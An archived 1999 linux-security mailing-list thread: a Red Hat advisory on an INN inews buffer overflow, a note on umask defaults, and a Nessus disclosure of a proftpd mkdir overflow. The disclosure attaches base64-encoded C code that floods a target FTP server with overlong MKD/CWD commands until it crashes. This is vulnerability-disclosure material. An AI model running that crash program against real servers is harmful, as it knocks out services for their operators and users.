Cristian Gafton
1999-Sep-02 02:08 UTC
SECURITY: RHSA-1999:033 Buffer overflow problem in the inews program
-----BEGIN PGP SIGNED MESSAGE-----
- ---------------------------------------------------------------------
Red Hat, Inc. Security Advisory
Synopsis: Buffer overflow problem in the inews program
Advisory ID: RHSA-1999:033-01
Issue date: 1999-09-01
Keywords: inn inews buffer overflow
- ---------------------------------------------------------------------
1. Topic:
New packages for INN are available for all Red Hat Linux platforms. This
version of the package fixes a buffer overrun problem discovered in the inews
program, which is part of the INN distribution. No active exploits of the
problem have been found so far.
2. Bug IDs fixed:
N/A.
3. Relevant releases/architectures:
Red Hat Linux 6.0, all architectures
4. Obsoleted by:
5. Conflicts with:
6. RPMs required:
Red Hat Linux 6.0:
=================
Intel:
ftp://updates.redhat.com//6.0/i386/inn-2.2.1-1.i386.rpm
ftp://updates.redhat.com//6.0/i386/inn-devel-2.2.1-1.i386.rpm
Alpha:
ftp://updates.redhat.com//6.0/alpha/inn-2.2.1-1.alpha.rpm
ftp://updates.redhat.com//6.0/alpha/inn-devel-2.2.1-1.alpha.rpm
Sparc:
ftp://updates.redhat.com//6.0/sparc/inn-2.2.1-1.sparc.rpm
ftp://updates.redhat.com//6.0/sparc/inn-devel-2.2.1-1.sparc.rpm
Source packages:
ftp://updates.redhat.com//6.0/SRPMS/inn-2.2.1-1.src.rpm
Red Hat Linux 5.2:
=================
Intel:
ftp://updates.redhat.com//5.2/i386/inn-2.2.1-0.5.2.i386.rpm
ftp://updates.redhat.com//5.2/i386/inn-devel-2.2.1-0.5.2.i386.rpm
Alpha:
ftp://updates.redhat.com//5.2/alpha/inn-2.2.1-0.5.2.alpha.rpm
ftp://updates.redhat.com//5.2/alpha/inn-devel-2.2.1-0.5.2.alpha.rpm
Sparc:
ftp://updates.redhat.com//5.2/sparc/inn-2.2.1-0.5.2.sparc.rpm
ftp://updates.redhat.com//5.2/sparc/inn-devel-2.2.1-0.5.2.sparc.rpm
Source packages:
ftp://updates.redhat.com//5.2/SRPMS/inn-2.2.1-0.5.2.src.rpm
Red Hat Linux 4.2:
=================
Intel:
ftp://updates.redhat.com//4.2/i386/inn-2.2.1-0.4.2.i386.rpm
ftp://updates.redhat.com//4.2/i386/inn-devel-2.2.1-0.4.2.i386.rpm
ftp://updates.redhat.com//4.2/noarch/cleanfeed-0.95.7b-0.4.2.noarch.rpm
Alpha:
ftp://updates.redhat.com//4.2/alpha/inn-2.2.1-0.4.2.alpha.rpm
ftp://updates.redhat.com//4.2/alpha/inn-devel-2.2.1-0.4.2.alpha.rpm
ftp://updates.redhat.com//4.2/noarch/cleanfeed-0.95.7b-0.4.2.noarch.rpm
Sparc:
ftp://updates.redhat.com//4.2/sparc/inn-2.2.1-0.4.2.sparc.rpm
ftp://updates.redhat.com//4.2/sparc/inn-devel-2.2.1-0.4.2.sparc.rpm
ftp://updates.redhat.com//4.2/noarch/cleanfeed-0.95.7b-0.4.2.noarch.rpm
Source packages:
ftp://updates.redhat.com//4.2/SRPMS/cleanfeed-0.95.7b-0.4.2.src.rpm
ftp://updates.redhat.com//4.2/SRPMS/inn-2.2.1-0.4.2.src.rpm
7. Problem description:
INN versions 2.2 and earlier have a buffer overflow-related security
condition in the inews program.
inews is a program used to inject new postings into the news system. It is
used by many news reading programs and scripts. The default installation is
with inews setgid to the news group and world executable. It's possible that
exploiting the buffer overflow could give the attacker news group
privileges, which could possibly be extended to root access.
Note that this chain of elevation of privileges is theoretical rather than
actual; the ability of an attacker to do this indicates bugs in other
portions of INN. However, given the degree to which INN trusts the news user
and news group, it's not unlikely that such bugs exist.
No case of this being exploited has been shown yet.
If you run a news server with no local readers (i.e. all your clients are
remote) then you can remove the setgid-bit on inews.
chmod 0550 inews
The rnews program, used to feed news via uucp, is setuid to the
uucp user. No buffer overflow problems have been found in rnews,
but if you don't run uucp on your machine, then we recommend
disabling the setuid bit on rnews:
chown news rnews
chgrp news rnews
chmod 0550 rnews
Red Hat Linux releases 4.2 and 5.2 shipped with a version of INN that is no
longer being maintained. We have back-ported the latest 2.2.1 INN version to
those older Red Hat Linux releases. The new package will not be an exact
drop in for the older packages, so it is advisable to save you config files
first before starting the migration to the new code base. Alternatively you
can implement some of the solutions described above if you do not want to
update to a new version of INN.
Also, on Red Hat Linux 4.2 inn will require a new package named cleanfeed
that is also shipped as part of this advisory.
Thanks go to the members of the BUGTRAQ mailing list for bringing this issue
to our attention.
8. Solution:
For each RPM for your particular architecture, run:
rpm -Uvh <filename>
where filename is the name of the RPM.
9. Verification:
MD5 sum Package Name
- --------------------------------------------------------------------------
71dfbbfaddc1596f1e6357562691e3e5 i386/inn-2.2.1-1.i386.rpm
2201608f6d72d96041998349b401061c i386/inn-devel-2.2.1-1.i386.rpm
5dad0596a6db0beace1441484229cb35 alpha/inn-2.2.1-1.alpha.rpm
fbc0789c46f953dffdd3503551f2a293 alpha/inn-devel-2.2.1-1.alpha.rpm
b8d18a074b1e703e386a9b514e099653 sparc/inn-2.2.1-1.sparc.rpm
b539e8f684279b4e607d475d5225844d sparc/inn-devel-2.2.1-1.sparc.rpm
7c58191dc271e462e59e97e58735e52f SRPMS/inn-2.2.1-1.src.rpm
a954d249e706103bfea29247849232b7 i386/inn-2.2.1-0.5.2.i386.rpm
2e509990e05ff6117752f261076853d1 i386/inn-devel-2.2.1-0.5.2.i386.rpm
1148e5441e47cae968e661e01061b886 alpha/inn-2.2.1-0.5.2.alpha.rpm
8b872171e04e1caecf8d17335842e87e alpha/inn-devel-2.2.1-0.5.2.alpha.rpm
7a751e48014dff1da12a5aa59e2ff35e sparc/inn-2.2.1-0.5.2.sparc.rpm
0199e603c355e349d8b8f61360ab10a6 sparc/inn-devel-2.2.1-0.5.2.sparc.rpm
dc1019ada503f1051149334f914c5884 SRPMS/inn-2.2.1-0.5.2.src.rpm
9c2a193b74265cec65eb5ff9f98cafad i386/inn-2.2.1-0.4.2.i386.rpm
0a4bfe653baecd8d7f84ea08c12aaa0c i386/inn-devel-2.2.1-0.4.2.i386.rpm
c6d567d2e6e90d3d71c49b69ee5de44c alpha/inn-2.2.1-0.4.2.alpha.rpm
47de4209af226594892409befcfd6c79 alpha/inn-devel-2.2.1-0.4.2.alpha.rpm
249cb97d48d3a5980bf1338a0c29a513 sparc/inn-2.2.1-0.4.2.sparc.rpm
6e744b632df7b55db4ca3a48b8ac134b sparc/inn-devel-2.2.1-0.4.2.sparc.rpm
eb286312a58ca7d5fa62a7cdaff24993 noarch/cleanfeed-0.95.7b-0.4.2.noarch.rpm
08ff66b48fd3303b3cff540082b19256 SRPMS/cleanfeed-0.95.7b-0.4.2.src.rpm
bf58614855adb83a8814b3b35e7ebe58 SRPMS/inn-2.2.1-0.4.2.src.rpm
These packages are PGP signed by Red Hat Inc. for security. Our key
is available at:
http://www.redhat.com/corp/contact.html
You can verify each package with the following command:
rpm --checksig <filename>
If you only wish to verify that each package has not been corrupted or
tampered with, examine only the md5sum with the following command:
rpm --checksig --nopgp <filename>
10. References:
N/A
Cristian
- --
- ----------------------------------------------------------------------
Cristian Gafton -- gafton@redhat.com -- Red Hat, Inc.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"How could this be a problem in a country where we have Intel and
Microsoft?" --Al Gore on Y2K
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBN83cHfGvxKXU9NkBAQFhiQQAh64X/RncbVA8SEBUQfOwWIGPiD7Tk7Oz
QLBwSaeDPa54LrwhkesQGL+b8XsFoqKV0z4Ie+wCy4RU7QvsrU/5rFigR9ZIkqng
rrIzkLx1cBAiQfx5/qafCtyt+5Sc0YAe5VJE5UU09xYRCduXEWco/3rQHo6jEgFv
VEq9OMBtb6w=OYSp
-----END PGP SIGNATURE-----
From mail@mail.redhat.com Fri Sep 3 18:22:01 1999
Received: (qmail 18145 invoked from network); 3 Sep 1999 22:22:04 -0000
Received: from mail.redhat.com (199.183.24.239)
by lists.redhat.com with SMTP; 3 Sep 1999 22:22:04 -0000
Received: from rosie.bitwizard.nl (root@16dyn229.delft.casema.net
[212.64.79.229])
by mail.redhat.com (8.8.7/8.8.7) with ESMTP id SAA18976
for <linux-security@redhat.com>; Fri, 3 Sep 1999 18:22:01 -0400
Received: from cave.BitWizard.nl (wolff@cave.bitwizard.nl [192.168.234.1])
by rosie.bitwizard.nl (8.8.8/8.8.8) with ESMTP id AAA26699
for <linux-security@redhat.com>; Sat, 4 Sep 1999 00:21:57 +0200
Received: (from wolff@localhost)
by cave.BitWizard.nl (8.8.8/8.8.8) id AAA02826
for linux-security@redhat.com; Sat, 4 Sep 1999 00:21:57 +0200
Delivered-To: wolff@bitwizard.nl
Approved: R.E.Wolff@BitWizard.nl
Received: (qmail 21228 invoked by alias); 3 Sep 1999 17:21:37 -0000
Delivered-To: r.e.wolff@BitWizard.nl
Received: (qmail 21225 invoked from network); 3 Sep 1999 17:21:37 -0000
Received: from lists.redhat.com (199.183.24.247)
by www.bitwizard.nl with SMTP; 3 Sep 1999 17:21:37 -0000
Received: (qmail 5529 invoked by uid 501); 3 Sep 1999 17:10:00 -0000
Received: (qmail 5506 invoked from network); 3 Sep 1999 17:09:59 -0000
Received: from mail.redhat.com (199.183.24.239)
by lists.redhat.com with SMTP; 3 Sep 1999 17:09:59 -0000
Received: from overture.designtrust.com (overture.destru.com [12.3.0.2])
by mail.redhat.com (8.8.7/8.8.7) with SMTP id NAA11469
for <linux-security@redhat.com>; Fri, 3 Sep 1999 13:09:59 -0400
Received: (qmail 7495 invoked by uid 500); 3 Sep 1999 17:09:36 -0000
Date: Fri, 3 Sep 1999 13:09:36 -0400 (EDT)
From: Nathan Bryant <nathan@overture.destru.com>
To: linux-security@redhat.com
Subject: umask problems, etc.
Message-ID:
<Pine.LNX.4.10.9909031256240.7428-100000@overture.designtrust.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-moderate: yes
Three quick notes--
1) Umask defaults to 000 when running an xterm or gnome-terminal on redhat
6.0, unless you run a login shell. This is a Bad Thing.
2) The binary package for the inews-2.2.1-1 update released 9/1/99 isn't
on the redhat updates site; inn and inn-devel are insufficient. I had to
compile the SRPM.
3) Nothing. There is no third note.
From mail@mail.redhat.com Sun Sep 5 02:16:42 1999
Received: (qmail 3496 invoked from network); 5 Sep 1999 06:16:50 -0000
Received: from mail.redhat.com (199.183.24.239)
by lists.redhat.com with SMTP; 5 Sep 1999 06:16:50 -0000
Received: from rosie.bitwizard.nl (root@15dyn29.delft.casema.net [212.64.78.29])
by mail.redhat.com (8.8.7/8.8.7) with ESMTP id CAA14807
for <linux-security@redhat.com>; Sun, 5 Sep 1999 02:16:42 -0400
Received: from cave.BitWizard.nl (wolff@cave.bitwizard.nl [192.168.234.1])
by rosie.bitwizard.nl (8.8.8/8.8.8) with ESMTP id IAA06346
for <linux-security@redhat.com>; Sun, 5 Sep 1999 08:16:37 +0200
Received: (from wolff@localhost)
by cave.BitWizard.nl (8.8.8/8.8.8) id IAA00440
for linux-security@redhat.com; Sun, 5 Sep 1999 08:16:38 +0200
Delivered-To: wolff@bitwizard.nl
Approved: R.E.Wolff@BitWizard.nl
Received: (qmail 2029 invoked by alias); 5 Sep 1999 00:06:50 -0000
Delivered-To: r.e.wolff@BitWizard.nl
Received: (qmail 2026 invoked from network); 5 Sep 1999 00:06:50 -0000
Received: from lists.redhat.com (199.183.24.247)
by www.bitwizard.nl with SMTP; 5 Sep 1999 00:06:50 -0000
Received: (qmail 16680 invoked by uid 501); 5 Sep 1999 00:06:26 -0000
Received: (qmail 16588 invoked from network); 5 Sep 1999 00:06:25 -0000
Received: from mail.redhat.com (199.183.24.239)
by lists.redhat.com with SMTP; 5 Sep 1999 00:06:25 -0000
Received: from paris.laroche.org (e017.paris-14.cybercable.fr [212.198.14.17])
by mail.redhat.com (8.8.7/8.8.7) with ESMTP id UAA29010
for <linux-security@redhat.com>; Sat, 4 Sep 1999 20:06:24 -0400
Received: from prof.fr.nessus.org (d026.paris-77.cybercable.fr [212.198.77.26])
by paris.laroche.org (8.9.2/8.9.1) with ESMTP id CAA65486
for <linux-security@redhat.com>; Sun, 5 Sep 1999 02:14:29 +0200 (CEST)
(envelope-from deraison@cvs.nessus.org)
Date: Sun, 5 Sep 1999 02:08:29 +0200 (CEST)
From: Renaud Deraison <deraison@cvs.nessus.org>
X-Sender: renaud@prof.fr.nessus.org
To: linux-security@redhat.com
Subject: buffer overflow in proftpd-1.2.0pre4, supposed to be 'safe'
Message-ID: <Pine.LNX.4.10.9909050208001.15329-200000@prof.fr.nessus.org>
Organization: The Nessus Project <http://www.nessus.org>
MIME-Version: 1.0
Content-Type: MULTIPART/Mixed;
BOUNDARY="-1463810815-1223308169-936489982=:15281"
Content-ID: <Pine.LNX.4.10.9909050208002.15329@prof.fr.nessus.org>
X-moderate: yes
This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to mime@docserver.cac.washington.edu for more info.
---1463810815-1223308169-936489982=:15281
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-ID: <Pine.LNX.4.10.9909050208003.15329@prof.fr.nessus.org>
Hello,
ProFTPd, a FTP server, has been suffering several security holes lately.
However, the version 1.2.0pre4 is still vulnerable to a mkdir attack,
even though it is supposed to be patched against it.
The trick is to create directories whose name don't exceed 255 chars.
I have not looked at this problem in detail, but I could at least make a
pointer point on a bogus location (85858585) using this method.
Attached to this mail is a C program that will make proftpd crash, but
which won't exploit the vulnerability.
Thank you for your attention,
-- Renaud
--
Renaud Deraison
The Nessus Project
http://www.nessus.org
---1463810815-1223308169-936489982=:15281
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="crash_ftpd.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.10.9909050206220.15281@prof.fr.nessus.org>
Content-Description: demo code
Content-Disposition: ATTACHMENT; FILENAME="crash_ftpd.c"
I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RkbGliLmg+DQojaW5j
bHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPHN5cy90eXBlcy5oPg0K
I2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCi8qDQogKiBDcmFzaGVzIFByb0ZU
UGQgMS4yLjBwcmU0IGJlY2F1c2Ugb2YgYSBidWZmZXIgb3ZlcmZsb3cuDQog
Kg0KICoNCiAqIFRoaXMgYnVnIHdhcyBkaXNjb3ZlcmVkIGJ5IHRoZSBOZXNz
dXMgU2VjdXJpdHkgU2Nhbm5lcg0KICoNCiAqIEkgZG9uJ3Qga25vdyBpZiB0
aGlzIGZsYXcgY2FuIGJlIGV4cGxvaXRlZCB0byBnYWluDQogKiByb290IHBy
aXZpbGVnZXMuDQogKg0KICoNCiAqIFRoZSBuYW1lIG9mIHRoZSBjcmVhdGVk
IGRpcmVjdG9yeSBtdXN0IG5vdCBleGNlZWQgMjU1IGNoYXJzICENCiAqDQog
Kg0KICogV3JpdHRlbiBieSBSZW5hdWQgRGVyYWlzb24gPGRlcmFpc29uQGN2
cy5uZXNzdXMub3JnPg0KICoNCiAqLw0KDQovKg0KICogQ2hhbmdlIHRoaXMg
IQ0KICovDQojZGVmaW5lIFRBUkdFVCAiMTkyLjE2OC4xLjUiDQojZGVmaW5l
IFdSSVRFQUJMRV9ESVIgIi9pbmNvbWluZyINCg0KaW50IG1haW4oKQ0Kew0K
IHN0cnVjdCBpbl9hZGRyIHRhcmdldDsNCiBpbnQgc29jOw0KIHN0cnVjdCBz
b2NrYWRkcl9pbiBzYTsNCiANCiBjaGFyICogd3JpdGVhYmxlX2RpciA9ICJD
V0QgIldSSVRFQUJMRV9ESVIiXHJcbiI7DQogY2hhciAqIG1rZDsNCiBjaGFy
ICogY3dkOw0KDQoNCiBpbmV0X2F0b24oVEFSR0VULCAmdGFyZ2V0KTsNCiBt
a2QgPSBtYWxsb2MoMzAwKTsJYnplcm8obWtkLCAzMDApOw0KIGN3ZCA9IG1h
bGxvYygzMDApOwliemVybyhjd2QsIDMwMCk7DQogDQogc29jID0gc29ja2V0
KFBGX0lORVQsIFNPQ0tfU1RSRUFNLDApOw0KIA0KIGJ6ZXJvKCZzYSwgc2l6
ZW9mKHNhKSk7DQogc2Euc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2Euc2lu
X3BvcnQgICA9IGh0b25zKDIxKTsNCiBzYS5zaW5fYWRkci5zX2FkZHIgPSB0
YXJnZXQuc19hZGRyOw0KIGlmKCEoY29ubmVjdChzb2MsIChzdHJ1Y3Qgc29j
a2FkZHIgKikmc2EsIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHJfaW4pKSkpDQog
ew0KICBjaGFyICogYnVmID0gbWFsbG9jKDEwMjQpOw0KICBpbnQgaTsNCiAg
c3ByaW50Zihta2QsICJNS0QgIik7DQogIG1lbXNldChta2QrNCwgJ1gnLCAy
NTQpOw0KICBzcHJpbnRmKG1rZCwgIiVzXHJcbiIsIG1rZCk7DQogIA0KICBz
cHJpbnRmKGN3ZCwgIkNXRCAiKTsNCiAgbWVtc2V0KGN3ZCs0LCAnWCcsIDI1
NCk7DQogIHNwcmludGYoY3dkLCAiJXNcclxuIiwgY3dkKTsNCiAgDQogIHJl
Y3Yoc29jLCBidWYsIDEwMjQsIDApOw0KICBzZW5kKHNvYywgIlVTRVIgZnRw
XHJcbiIsIHN0cmxlbigiVVNFUiBmdHBcclxuIiksMCk7DQogIHJlY3Yoc29j
LCBidWYsIDEwMjQsIDApOw0KICBiemVybyhidWYsMTAyNCk7DQogIHNlbmQo
c29jLCAiUEFTUyBwYXNzQFxyXG4iLCBzdHJsZW4oIlBBU1MgcGFzc0Bcclxu
IiksMCk7DQogIHJlY3Yoc29jLCBidWYsIDEwMjQsIDApOw0KICBiemVybyhi
dWYsMTAyNCk7DQogIHNlbmQoc29jLCB3cml0ZWFibGVfZGlyLCBzdHJsZW4o
d3JpdGVhYmxlX2RpciksIDApOw0KICByZWN2KHNvYywgYnVmLCAxMDI0LCAw
KTsNCiAgYnplcm8oYnVmLDEwMjQpOw0KICANCiAgDQogIGZvcihpPTA7aTw0
MDtpKyspDQogIHsNCiAgIHNlbmQoc29jLCBta2QsIHN0cmxlbihta2QpLCAw
KTsNCiAgIHJlY3Yoc29jLCBidWYsIDEwMjQsMCk7DQogICBpZighc3RybGVu
KGJ1ZikpDQogICB7DQogICAgcHJpbnRmKCJSZW1vdGUgRlRQZCBjcmFzaGVk
IChzZWUgL3Zhci9sb2cvbWVzc2FnZXMpXG4iKTsNCiAgICBleGl0KDApOw0K
ICAgfQ0KICAgYnplcm8oYnVmLCAxMDI0KTsNCiAgIHNlbmQoc29jLCBjd2Qs
IHN0cmxlbihjd2QpLCAwKTsNCiAgIHJlY3Yoc29jLCBidWYsIDEwMjQsMCk7
DQogICBpZighc3RybGVuKGJ1ZikpDQogICB7DQogICAgcHJpbnRmKCJSZW1v
dGUgRlRQZCBjcmFzaGVkIChzZWUgL3Zhci9sb2cvbWVzc2FnZXMpXG4iKTsN
CiAgICBleGl0KDApOw0KICAgfQ0KICAgYnplcm8oYnVmLCAxMDI0KTsNCiAg
fQ0KICBwcmludGYoIllvdSB3ZXJlIG5vdCB2dWxuZXJhYmxlIGFmdGVyIGFs
bC4gU29ycnlcbiIpOw0KICBjbG9zZShzb2MpOw0KIH0NCiBlbHNlIHBlcnJv
cigiY29ubmVjdCAiKTsNCiByZXR1cm4oMCk7DQp9DQogICANCiAgDQo---1463810815-1223308169-936489982=:15281--
Possibly Parallel Threads
Wisdom of the Ancients
